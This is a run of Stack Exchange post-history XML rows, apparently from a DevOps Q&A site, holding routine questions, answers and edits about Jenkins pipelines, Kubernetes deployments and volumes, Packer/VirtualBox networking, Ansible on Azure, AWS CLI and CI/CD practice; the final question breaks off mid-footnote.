  <row Id="29664" PostHistoryTypeId="3" PostId="9904" RevisionGUID="420f9e16-43cc-4a8a-a1f8-152a5df430de" CreationDate="2019-11-22T20:23:57.263" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;python&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29665" PostHistoryTypeId="50" PostId="9548" RevisionGUID="87e4e379-00e9-4b2a-8085-18336caaefcc" CreationDate="2019-11-22T21:02:10.443" UserId="-1" />
  <row Id="29666" PostHistoryTypeId="2" PostId="9905" RevisionGUID="cd5118e9-ac6b-43dd-b74d-306f435c6d31" CreationDate="2019-11-22T21:07:26.973" UserId="9148" Text="Have you tried setting `returnStdout` to true in the `sh()` command per the [Jenkins documentation][1]?&#xD;&#xA;&#xD;&#xA;You can then assign that output to a variable within your pipeline:&#xD;&#xA;&#xD;&#xA;    def artifactsList = sh(label: 'Running amd_distribution_input transformation', returnStdout: true, script: 'python amd_distribution_input_transformation.py')&#xD;&#xA;&#xD;&#xA;and check what kind of object that variable is, and act on it accordinly&#xD;&#xA;&#xD;&#xA;    echo(artifactsList.getClass())&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/pipeline/steps/workflow-durable-task-step/#sh-shell-script" ContentLicense="CC BY-SA 4.0" />
  <row Id="29718" PostHistoryTypeId="2" PostId="9906" RevisionGUID="0c8fa39f-1958-4b94-a75c-6ba7e1003c3e" CreationDate="2019-11-23T03:48:11.370" UserId="18336" Text="A browser fetches some HTML via HTTP/HTTPS or a file, which may result in fetching a bunch of other resources, including some JavaScript, and then it runs it in a browser environment.  I would describe this as _a mechanism for delivering code to the browser_.&#xD;&#xA;&#xD;&#xA;Does a similar web-based delivery mechanism exist for Node.js apps?  Is there a way to get everything that a node.js app needs to run via HTTP(S) and run in some kind of &quot;node&quot; environment?  Sort of like a headless browser, but no HTML?&#xD;&#xA;&#xD;&#xA;I'm asking this in the context of updating node.js apps.  I really like how a server is in charge of the code that the browser is running.  I think the same thing would be great for a certain class of node.js app.  It would be great if a node.js could auto-update itself in a straightforward and secure way.  This was the first thing that came to mind.&#xD;&#xA;&#xD;&#xA;After thinking about this in detail, it seems necessary to _containerize_ the application and use a mechanism like Docker to deliver the application in its entirety to the machine that will run the app.  There just needs to be some supporting mechanism for ensuring that the app is always up to date.  I know there are docker-compose and kubernetes, and things like Watchtower, but is this really the best way for just keeping the application up to date?  During development it seems like the mechanism is copying code (like through git) and installing dependent packages (like via NPM).  But this is a very developer-centric workflow.  Internally, I guess it makes sense to use docker. But for web-delivery, I think a workflow for deploying a node.js-centric application and keeping it up to date would use some other mechanism.  What is that mechanism?  If docker is _the way_, then maybe I just need to refocus my question to find out how to auto-update docker containers.  But I'm fairly certain that exposing the docker API directly isn't really a secure option for web-delivery.  I also don't even know how node-based apps are typically delivered.  The few that I have actually get installed via the OS's installer mechanism (Like an .msi on Windows) - and that seems very native.  Surely there must be a more web-centric approach.&#xD;&#xA;&#xD;&#xA;So, how should a Node application auto-update itself (or receive a push update) via the web?  (like a browser-based app does)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29719" PostHistoryTypeId="1" PostId="9906" RevisionGUID="0c8fa39f-1958-4b94-a75c-6ba7e1003c3e" CreationDate="2019-11-23T03:48:11.370" UserId="18336" Text="Is web delivery for Node.js apps a thing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29720" PostHistoryTypeId="3" PostId="9906" RevisionGUID="0c8fa39f-1958-4b94-a75c-6ba7e1003c3e" CreationDate="2019-11-23T03:48:11.370" UserId="18336" Text="&lt;docker&gt;&lt;deployment&gt;&lt;node.js&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29724" PostHistoryTypeId="50" PostId="9554" RevisionGUID="78ee1278-299e-4e97-9c3d-592704eea93d" CreationDate="2019-11-23T08:02:15.363" UserId="-1" />
  <row Id="29728" PostHistoryTypeId="5" PostId="9904" RevisionGUID="baa3bcd8-af28-434c-80af-682d62c9ad58" CreationDate="2019-11-23T10:35:52.883" UserId="18007" Comment="deleted 251 characters in body; edited title" Text="I have the below code in the jenkisn pipeline:&#xD;&#xA;&#xD;&#xA;       stage (&quot;amd_distribution_input_transformation&quot;){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                        amd_distribution_input_transformation url: params.DOMAIN_DESCRIPTOR_URL, secret: params.CERDENITAL_ID&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;amd_distribution_input_transformation.groovy content:&#xD;&#xA;&#xD;&#xA;    def call(Map parameters)&#xD;&#xA;    {&#xD;&#xA;        def CREDENITAL_ID = parameters.secret&#xD;&#xA;        def DOMAIN_DESCRIPTOR_URL = parameters.url&#xD;&#xA;        sh '''&#xD;&#xA;            python amd_distribution_input_transformation.py&#xD;&#xA;          '''&#xD;&#xA;        }             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in the amd_distribution_input_transformation.py some code is running, and at the end, it returns object named 'artifacts_list'&#xD;&#xA;&#xD;&#xA;my question is, how can I assign the return obect from groovy file to pipeline variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="29729" PostHistoryTypeId="4" PostId="9904" RevisionGUID="baa3bcd8-af28-434c-80af-682d62c9ad58" CreationDate="2019-11-23T10:35:52.883" UserId="18007" Comment="deleted 251 characters in body; edited title" Text="How to save groovy output to pipeline variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="29730" PostHistoryTypeId="5" PostId="9864" RevisionGUID="bdea8cb8-7a79-48ac-8a5c-dda965470e8d" CreationDate="2019-11-23T10:46:11.903" UserId="519" Comment="clearer var name for networking resource group" Text="From close reading of the [Ansible doc page][1] on creating Azure VMs, it's clear that you can refer to a resource such as a virtual network or NIC using its resource ID.  This lets you specify any resource, just like RM templates.&#xD;&#xA;&#xD;&#xA;To specify a NIC created in another resource group by the networking team, with the `networking_rg_name` var set to that group name, you would use a resource ID like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- set_fact:&#xD;&#xA;    nic_id: &quot;/subscriptions/{{ subscription_id }}/resourceGroups/{{ networking_rg_name }}/providers/Microsoft.Network/networkInterfaces/{{ nic_name }}&quot;&#xD;&#xA;&#xD;&#xA;- name: &quot;Create VM {{vm_type}} - {{name}}&quot;&#xD;&#xA;  azure_rm_virtualmachine:&#xD;&#xA;    resource_group: &quot;{{rg_name}}&quot;&#xD;&#xA;    name: &quot;{{name}}&quot;&#xD;&#xA;    vm_size: &quot;{{size}}&quot;&#xD;&#xA;    admin_username: &quot;{{user}}&quot;&#xD;&#xA;    admin_password: &quot;{{pass}}&quot;&#xD;&#xA;    os_type: &quot;{{os_type}}&quot;&#xD;&#xA;    network_interfaces: &quot;{{nic_id}}&quot;     # Use the nic_id instead of name&#xD;&#xA;    image: &quot;{{image}}&quot;&#xD;&#xA;    tags: &quot;{{tags}}&quot;&#xD;&#xA;```&#xD;&#xA;This works for any resources that are in a different resource group, including virtual networks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/azure_rm_virtualmachine_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29731" PostHistoryTypeId="5" PostId="9904" RevisionGUID="2518320a-070b-46bf-b0b3-f1a1e182ce00" CreationDate="2019-11-23T11:03:00.047" UserId="18007" Comment="added 158 characters in body" Text="I have the below code in the jenkisn pipeline:&#xD;&#xA;&#xD;&#xA;       stage (&quot;amd_distribution_input_transformation&quot;){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                        amd_distribution_input_transformation url: params.DOMAIN_DESCRIPTOR_URL, secret: params.CERDENITAL_ID&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;amd_distribution_input_transformation.groovy content:&#xD;&#xA;&#xD;&#xA;    def call(Map parameters)&#xD;&#xA;    {&#xD;&#xA;        def CREDENITAL_ID = parameters.secret&#xD;&#xA;        def DOMAIN_DESCRIPTOR_URL = parameters.url&#xD;&#xA;        sh '''&#xD;&#xA;            python amd_distribution_input_transformation.py&#xD;&#xA;          '''&#xD;&#xA;        }             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in the amd_distribution_input_transformation.py some code is running, and at the end, it returns object named 'artifacts_list'&#xD;&#xA;&#xD;&#xA;my question is, how can I assign the return obect from groovy file to pipeline variable.&#xD;&#xA;BTW, if it helps, I can write the output to json file from the python code (and here I'm stuck on how eventually assign that file to the pipeline variable)" ContentLicense="CC BY-SA 4.0" />
  <row Id="29732" PostHistoryTypeId="2" PostId="9909" RevisionGUID="93d474d7-1de3-49d8-8bbb-6761f2be62e2" CreationDate="2019-11-23T11:21:06.773" UserId="18304" Text="So,&#xD;&#xA;I load an .ova image with packer of a minimal linux installation. &#xD;&#xA;I realized after everything went through (Provisioners etc) and it successfully exported the output file. However, when loading the output image with VirtualBox I can't communicate with the box, because the box doesn't have a valid network adapter that allows me to ping it etc. So I tried adding one during the build process:&#xD;&#xA;&#xD;&#xA;    &quot;vboxmanage&quot;: [[&quot;modifyvm&quot;, &quot;{{.Name}}&quot;, &quot;--nic1&quot;,&quot;bridged&quot;,&quot;--bridgeadapter1&quot;,&quot;enp0s31f6&quot;]]&#xD;&#xA;&#xD;&#xA;I now can ping the box from the outside, as it has a valid IP address that is reachable. However, now the build process does not succeed. It hangs at &#xD;&#xA;`Waiting for SSH to become available...`. Before adding the adapter this was not a problem.&#xD;&#xA;&#xD;&#xA;Without specifying the adapter Packer can SSH into the box successfully to configure everything (Correct password and username are provided in the template).&#xD;&#xA;&#xD;&#xA;How can I ensure that my box is always reachable from the outside? &#xD;&#xA;Is adding a network bridge adapter even the right way? What am I doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29733" PostHistoryTypeId="1" PostId="9909" RevisionGUID="93d474d7-1de3-49d8-8bbb-6761f2be62e2" CreationDate="2019-11-23T11:21:06.773" UserId="18304" Text="Bridged network adapter for Packer + VirtualBox?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29734" PostHistoryTypeId="3" PostId="9909" RevisionGUID="93d474d7-1de3-49d8-8bbb-6761f2be62e2" CreationDate="2019-11-23T11:21:06.773" UserId="18304" Text="&lt;networking&gt;&lt;packer&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29735" PostHistoryTypeId="5" PostId="6477" RevisionGUID="d39a8de0-afa1-42a4-be93-776ce875edf0" CreationDate="2019-11-23T13:56:59.893" UserId="40" Comment="deleted 73 characters in body" Text="In case anyone else would like to benefit from my experience, the answer is &quot;kind of&quot;.&#xD;&#xA;&#xD;&#xA;Without a Greengrass kernel, you will not get many of the core features and benefits, but you can use JS/Node SDK to start migrating to AWS IoT.&#xD;&#xA;&#xD;&#xA;https://github.com/aws/aws-iot-device-sdk-js &#xD;&#xA;&#xD;&#xA;For me, the problem was that my ARM device has an armv61, and Greengrass requires a minimum armv71, which is frustrating for an ecosystem designed for very low power devices.&#xD;&#xA;&#xD;&#xA;But, at least I can base some of my back-end on the presumption that we will eventually move to updated hardware." ContentLicense="CC BY-SA 4.0" />
  <row Id="29745" PostHistoryTypeId="2" PostId="9910" RevisionGUID="c311287d-6616-4241-be1c-d5b58ea3094c" CreationDate="2019-11-24T01:50:02.200" UserId="47" Text="Attempting to run your validation on branches, before being integrated into the trunk won't get you very far. The reason is that fundamentally such validations are performed in isolation, most often they will not actually reflect the trunk picture after the branch is merged. &#xD;&#xA;&#xD;&#xA;The only case in which the branch validation is, well, valid, is if no other change (of any kind) makes it into the trunk between when the validation started (assuming the latest trunk changes are merged into the branch at that time) and when the branch is merged back into the trunk.&#xD;&#xA;&#xD;&#xA;If any other change makes it into the trunk while the validation is in progress it won't be taken into consideration, leaving room for breakage when the branch is merged into the trunk. To prevent that you'd have to merge again the trunk into the branch - to pick up the latest trunk changes - and re-run the validation.&#xD;&#xA;&#xD;&#xA;Effectively this means the branch validations (or at least the successful ones allowing the branch to be merged into the trunk) need to be **entirely serialized** if you want to keep the trunk stable. Which may be manageable for a while if you keep a reasonably small number of such branches (maybe multiple devs working on the same branch?). How many branches? Depends on how stable you want the trunk to be: if you want to always pass your integration tests, your serialized validations would need to run the integration tests. At 40 min each you can support max ~60 branches (assuming the merges are automated and can be performed 24x7, which isn't trivial). Without automated merges the number of branches will be a lot smaller. This won't scale, the branch lifespans will gradually increase, diverging more and more from CI and will eventually wear down your team.&#xD;&#xA;&#xD;&#xA;The same reasoning explains why devs shouldn't actually have to run all tests if they are too lengthy - by the time they complete them the results may be invalidated by other changes committed to the trunk. Also - results tests done by developers are often not that relevant (&quot;But it built fine in my workspace!&quot;).&#xD;&#xA;&#xD;&#xA;There are only 2 possible approaches (that I know of) to get relevant validations:&#xD;&#xA;&#xD;&#xA;- the ones performed by the traditional CI tools - performed **after** the changes are committed to the trunk, reflecting the actual trunk reality, with all changes integrated. The only problem is if these validations fail - effectively blocking further development on the trunk until the culprits are found and the regressions fixed. Which may be (very) difficult in larger scale projects - as you already noticed.&#xD;&#xA;&#xD;&#xA;- the ones performed by **gating** CI tools - only 2 out there that I know of: [Zuul][1] and [ApartCI][2] (which is my baby). These validations are performed **prior** to merging changes into the trunk, but in an orchestrated manner, ensuring they remain relevant - taking into consideration all other changes in flight that will eventually be present in the trunk by the time a particular change is merged into the trunk. The actual change merging into the trunk is entirely automated, executed by the CI tool itself, immediately after the relevant validations are completed successfully. These are, IMHO, the only ones capable of guaranteeing trunk stability in larger scale projects.&#xD;&#xA;&#xD;&#xA;Pooling resources is a good thing - give them to the CI tool - that's how you maximize their usage.&#xD;&#xA;&#xD;&#xA;  [1]: https://zuul-ci.org/docs/zuul/&#xD;&#xA;  [2]: https://apartci.apartsw.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29746" PostHistoryTypeId="2" PostId="9911" RevisionGUID="87cb5e11-0183-4e14-b7bb-221ed18157c2" CreationDate="2019-11-24T04:17:12.367" UserId="47" Text="My choice would be design B.&#xD;&#xA;&#xD;&#xA;It's true that the availability of the Vault would be crucial, but Jenkins' availability would similarly be crucial in design A. So from this perspective the decision would normally be driven by the comparison of the two availability figures, if available. Based on its functionality I suspect that Jenkins is likely to be a more complex tool than Vault (but I don't have any hard data supporting it). If that's correct then Jenkins would normally have a lower availability/reliability score.&#xD;&#xA;&#xD;&#xA;A slightly different aspect of the dependency on Jenkins in design A isn't exactly appealing: Jenkins' job normally ends once it successfully deploys a certain version of the app, it isn't really designed to be around to &quot;support&quot; that app version during its expected lifetime (that includes restarting the app). Other tools are better suited to perform app monitoring and management in general. The app's independence from Jenkins that design B brings is, IMHO, an advantage from this perspective." ContentLicense="CC BY-SA 4.0" />
  <row Id="29747" PostHistoryTypeId="2" PostId="9912" RevisionGUID="e6de4d0b-d371-43fa-861a-5af499540421" CreationDate="2019-11-24T07:34:15.733" UserId="18349" Text="I am using the `YAML` file to deploy the container on `Kubernetes` with some replication factor on a hosted machine. &#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;#YAML File&#xD;&#xA;      &#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: mojo-deployment&#xD;&#xA;      labels:&#xD;&#xA;        app: mojo&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: mojo&#xD;&#xA;      replicas: 3&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: mojo&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;            - name: mojo&#xD;&#xA;              image: mojo:1.0.1&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 9000&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    #Services Info&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: mojo-services&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        app: mojo&#xD;&#xA;      ports:&#xD;&#xA;        - protocol: TCP&#xD;&#xA;          port: 80&#xD;&#xA;          targetPort: 9376&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    #Ingress Configuration&#xD;&#xA;    apiVersion: networking.k8s.io/v1beta1&#xD;&#xA;    kind: Ingress&#xD;&#xA;    metadata:&#xD;&#xA;      name: mojo-ingress&#xD;&#xA;      annotations:&#xD;&#xA;        kubernetes.io/ingress.class: mojo&#xD;&#xA;    spec:&#xD;&#xA;      backend:&#xD;&#xA;        serviceName: mojo-services&#xD;&#xA;        servicePort: 80&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Steps:&#xD;&#xA; &#xD;&#xA; 1. Build `Docker` image using `docker build -t mojo:1.0 .&#xD;&#xA; 2. `docker image ls` show me an image id.&#xD;&#xA; 3. Skipping `docker build` command to deploy image on container. Do I need to do it? or `kubectl` service will take care of it. &#xD;&#xA; 4. Run `kubectl apply -f Prod.yaml`. It shows &#xD;&#xA;&#xD;&#xA;&gt; deployment.apps/mojo-deployment created&#xD;&#xA;&#xD;&#xA;&gt;  service/mojo-services created&#xD;&#xA;&#xD;&#xA;&gt;  ingress.networking.k8s.io/mojo-ingress created&#xD;&#xA;&#xD;&#xA;5. `kubectl get service` returns&#xD;&#xA;&#xD;&#xA;    [![][1]][1]&#xD;&#xA;6. `kubectl get pod` returns&#xD;&#xA;[![][2]][2]&#xD;&#xA;7. `kubectl get deployment` returns&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Questions?&#xD;&#xA;&#xD;&#xA;1. Do I need to build the container before deploying `YAML` file? I tried it but still `kubernetes` not running.&#xD;&#xA;&#xD;&#xA;2. Why all pods are showing `Pending` status.&#xD;&#xA;&#xD;&#xA;3. Deployment is also showing `pending` status.&#xD;&#xA;&#xD;&#xA;4. Though I am trying to access the `Ingress` with &lt;My IP Address&gt;:80 and cannot access it.  &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;  [1]: https://i.stack.imgur.com/2mjol.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/mQZY2.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/CulrZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29748" PostHistoryTypeId="1" PostId="9912" RevisionGUID="e6de4d0b-d371-43fa-861a-5af499540421" CreationDate="2019-11-24T07:34:15.733" UserId="18349" Text="Configure Kubernetes with docker container on Ubuntu VM" ContentLicense="CC BY-SA 4.0" />
  <row Id="29749" PostHistoryTypeId="3" PostId="9912" RevisionGUID="e6de4d0b-d371-43fa-861a-5af499540421" CreationDate="2019-11-24T07:34:15.733" UserId="18349" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29750" PostHistoryTypeId="5" PostId="9909" RevisionGUID="8fabc8c5-9e4e-4b31-8382-5084722473df" CreationDate="2019-11-24T14:57:18.147" UserId="18304" Comment="deleted 266 characters in body" Text="So,&#xD;&#xA;I load an .ova image with packer of a minimal ubuntu linux installation. &#xD;&#xA;I realized after everything went through (Provisioners etc) and it successfully exported the output file. However, when loading the output image with VirtualBox I can't communicate with the box, because the box doesn't have a valid network adapter that allows me to ping it etc. &#xD;&#xA;&#xD;&#xA;So I tried adding a bridged adapter one during the build process:&#xD;&#xA;&#xD;&#xA;    &quot;vboxmanage&quot;: [[ &quot;modifyvm&quot;, &quot;{{.Name}}&quot;, &quot;--nic2&quot;, &quot;bridged&quot;, &quot;--bridgeadapter2&quot;,&quot;enp0s31f6&quot; ]]&#xD;&#xA;&#xD;&#xA;It hangs at `Waiting for SSH to become available...`. &#xD;&#xA;Before adding the adapter this was not a problem.&#xD;&#xA;&#xD;&#xA;How can I ensure that my box is always reachable from the outside? &#xD;&#xA;Is adding a network bridge adapter even the right way? What am I doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29751" PostHistoryTypeId="5" PostId="9909" RevisionGUID="6fc19c67-0e1d-4911-bef1-886eab03e1d6" CreationDate="2019-11-24T15:10:55.313" UserId="18304" Comment="added 63 characters in body" Text="So,&#xD;&#xA;I load an .ova image with packer of a minimal ubuntu linux installation. &#xD;&#xA;I realized after everything went through (Provisioners etc) and it successfully exported the output file. However, when loading the output image with VirtualBox I can't communicate with the box, because the box doesn't have a valid network adapter that allows me to ping it etc. &#xD;&#xA;&#xD;&#xA;So I tried adding a bridged adapter one during the build process:&#xD;&#xA;&#xD;&#xA;    &quot;vboxmanage&quot;: [[ &quot;modifyvm&quot;, &quot;{{.Name}}&quot;, &quot;--nic2&quot;, &quot;bridged&quot;, &quot;--bridgeadapter2&quot;,&quot;enp0s31f6&quot; ]]&#xD;&#xA;&#xD;&#xA;However the machine is still not reachable. &#xD;&#xA;This is how it looks on the VM:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;How can I ensure that my box is always reachable from the outside? &#xD;&#xA;Is adding a network bridge adapter even the right way? What am I doing wrong?&#xD;&#xA;I think I need the VM to have an IP like 192.168.x.x&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/VcgYw.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="29752" PostHistoryTypeId="2" PostId="9913" RevisionGUID="b84e741f-f2f5-4b92-b13a-1e728fb9acd6" CreationDate="2019-11-24T16:10:03.313" UserId="18353" Text="Let's say that you wanted to create a Jenkins `Deployment`. As Jenkins uses a local XML file for configuration and state, you would want to create a `PersistentVolume` so that your data could be saved across `Pod` evictions and `Deployment` deletions. I know that the `Retain` `reclaimPolicy` will result in the data persisting on the detached `PersistentVolume`, but the documentation says this is just so that you can manually reclaim the data on it later on, and seems to say nothing about the volume being automatically reused if its mounting `Pod`s are ever brought back up.&#xD;&#xA;&#xD;&#xA;It is difficult to articulate what I am even trying to ask, so forgive me if this seems like a nebulous question, but:&#xD;&#xA;&#xD;&#xA;- If you delete the Jenkins deployment, then later decide to recreate it where you left off, how do you get it to re-mount _that exact PersistentVolume_ on which _that specific XML configuration_ is still stored?&#xD;&#xA;- Is this a case where you would want to use a `StatefulSet`? It seems like, in this case, Jenkins would be considered &quot;stateful.&quot;&#xD;&#xA;- Is the `PersistentVolumeClaim` the basis of a volume's &quot;identity&quot;? In other words, is the expectation for the `PersistentVolumeClaim` to be the stable identifier by which an application can bind to a specific volume with specific data on it?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29753" PostHistoryTypeId="1" PostId="9913" RevisionGUID="b84e741f-f2f5-4b92-b13a-1e728fb9acd6" CreationDate="2019-11-24T16:10:03.313" UserId="18353" Text="How do you reuse a specific volume in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29754" PostHistoryTypeId="3" PostId="9913" RevisionGUID="b84e741f-f2f5-4b92-b13a-1e728fb9acd6" CreationDate="2019-11-24T16:10:03.313" UserId="18353" Text="&lt;kubernetes&gt;&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29764" PostHistoryTypeId="2" PostId="9916" RevisionGUID="0ef8bbd3-800a-431a-b459-ebc1a1f2f0c3" CreationDate="2019-11-25T05:48:29.580" UserId="18159" Text="aws : A single command(aws-cli) to get the IAM user name with the policy attached, would be great if can be downloaded as an excel or csv ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29765" PostHistoryTypeId="1" PostId="9916" RevisionGUID="0ef8bbd3-800a-431a-b459-ebc1a1f2f0c3" CreationDate="2019-11-25T05:48:29.580" UserId="18159" Text="AWS-CLI : to download IAM user with policy" ContentLicense="CC BY-SA 4.0" />
  <row Id="29766" PostHistoryTypeId="3" PostId="9916" RevisionGUID="0ef8bbd3-800a-431a-b459-ebc1a1f2f0c3" CreationDate="2019-11-25T05:48:29.580" UserId="18159" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29767" PostHistoryTypeId="5" PostId="9916" RevisionGUID="5408302b-bcf4-4a98-8ebe-1b9efce13932" CreationDate="2019-11-25T06:00:57.670" UserId="18159" Comment="added 17 characters in body" Text="aws : A single command(aws-cli) to get the IAM user name with the what all permission he/she have , would be great if can be downloaded as an excel or csv ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29771" PostHistoryTypeId="2" PostId="9918" RevisionGUID="b1f1f9e1-8fc3-4f54-b5dc-89524ba178ec" CreationDate="2019-11-25T07:59:35.407" UserId="18360" Text="I just experienced the same issue. It seems the eksctl that is being installed upon first use is not working for me. I went to the eksctl site and installed it from there (https://eksctl.io/introduction/installation/)&#xD;&#xA;&#xD;&#xA;With the jx eksctl binary : &#xD;&#xA;&#xD;&#xA;    ➜  ~ jx create cluster eks --cluster-name=konsek-cloud --skip-installation=true --verbose&#xD;&#xA;    DEBUG: eksctl is already available on your PATH at /Users/&lt;user&gt;/.jx/bin/eksctl&#xD;&#xA;    DEBUG: aws-iam-authenticator is already available on your PATH at /Users/&lt;user&gt;/.jx/bin/aws-iam-authenticator&#xD;&#xA;    DEBUG: Dependencies to be installed: &#xD;&#xA;    DEBUG: kubectl is already available on your PATH at /usr/local/bin/kubectl&#xD;&#xA;    DEBUG: helm is already available on your PATH at /usr/local/bin/helm&#xD;&#xA;    DEBUG: brew is already available on your PATH at /usr/local/bin/brew&#xD;&#xA;    error: exit status 1&#xD;&#xA;&#xD;&#xA;With the manually installed binary : &#xD;&#xA;&#xD;&#xA;    ➜  ~ jx create cluster eks --cluster-name=konsek-cloud --skip-installation=true --verbose&#xD;&#xA;    DEBUG: eksctl is already available on your PATH at /usr/local/bin/eksctl&#xD;&#xA;    DEBUG: aws-iam-authenticator is already available on your PATH at /usr/local/bin/aws-iam-authenticator&#xD;&#xA;    DEBUG: Dependencies to be installed: &#xD;&#xA;    DEBUG: kubectl is already available on your PATH at /usr/local/bin/kubectl&#xD;&#xA;    DEBUG: helm is already available on your PATH at /usr/local/bin/helm&#xD;&#xA;    DEBUG: brew is already available on your PATH at /usr/local/bin/brew&#xD;&#xA;    Creating EKS cluster - this can take a while so please be patient...&#xD;&#xA;    ... &#xD;&#xA;&#xD;&#xA;Hope this helps" ContentLicense="CC BY-SA 4.0" />
  <row Id="29772" PostHistoryTypeId="2" PostId="9919" RevisionGUID="35e08795-656d-401d-9189-a57b88f41f58" CreationDate="2019-11-25T08:21:47.893" UserId="707" Text="Here is an indsutry specific question. I wonder **whether there are, or are recognizable in near future, industry specifics for CI/CD solutions in a space engineering company** like SpaceX, compared to other companies where mass manufacturing plays a role, for example to car (supplier) companies?&#xD;&#xA; &#xD;&#xA;*Terms:*&#xD;&#xA;&#xD;&#xA;- [*CI*][1]/[*CD*][2] - continuous integration and delivery to support continuous improvement of software&#xD;&#xA;- [*DevOps*][3] - body of methods, practices and also a mindset to leverage shorter delivery cycles of software; DevOps is agnostic with regards to project methodology, programming language and operation system&lt;sup&gt;1&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;*Topicality:*&#xD;&#xA;&#xD;&#xA;While this is not directly about space exploration, this topic does have an impact; imagine following use cases:&#xD;&#xA;&#xD;&#xA;- your custom metal 3D printer, or a robotic assembler gets stuck due to some software error. How long does it take to deliver the patch? What is acceptable outage time?&#xD;&#xA;- you should secure accurate operation of your mission software by sufficient acceptance tests which include automated testing like [test coverage][4]&lt;sup&gt;2&lt;/sup&gt;. Do you need awareness through measurable facts here, while [ECSS compliance][5] requires 100% test coverage? How much is enough/a must for human spaceflight?&#xD;&#xA;&#xD;&#xA;*Research effort*:&#xD;&#xA;&#xD;&#xA;My research so far using these sources of information:&#xD;&#xA;&#xD;&#xA;* the stackshare.io site (which does not need to be the source of current, correct and complete data, still somebody has published it once)&#xD;&#xA;* LinkedIn search for peoples' titles and expertise around CI/CD and DevOps&#xD;&#xA;* Job sites of major companies&#xD;&#xA;&#xD;&#xA;What I have found so far:&#xD;&#xA;&#xD;&#xA;* [SpaceX][6] does not list a CI/CD system. Ok they [look][7] currently for a build/release software engineer.&#xD;&#xA;* BlueOrigin lists even less on StackShare; interestingly they use CloudFlare ([DDoS][8] protection). According to [this position][9], they seem also to start thinking in this direction.&#xD;&#xA;&#xD;&#xA;Following from the wording of the job descriptions and other sources, there is no (enteprise scale) CI/CD yet there, neither DevOps is a big topic yet.  But they move in this direction, so there is no simple &quot;no&quot; answer I think.&#xD;&#xA;&#xD;&#xA;There is also no simple strategy like &quot;implement your own&quot;, or &quot;take product X&quot; because these systems being around since about 20 years are still in their development; for example, the issue and requirements board aka *backlog* of a major open source product counts about [30000 items][10]! Possibly, many of them reflect common topics, but on this scale one can expect that some will be also industries specific or related.&#xD;&#xA;&#xD;&#xA;For sure, in the beginning there must be a well-engineered concept, a CI/CD system is after all a smart helper&lt;sup&gt;3&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt; For example, CI/CD is used to [build and test Kubernetes][11]  &quot;*with a need to execute over 10,000 CI/CD jobs per day across over 100 repositories of code*&quot;. Also, Linux community [has decided][12] to use CI/CD for the Linux kernel.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;2&lt;/sup&gt; Quote from the linked source about [Margaret Hamilton][13]: &quot;*without that software, not to mention Hamilton's well-documented **insistence on rigorous testing**, humans would've never reached the moon safely*&quot;.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;3&lt;/sup&gt; 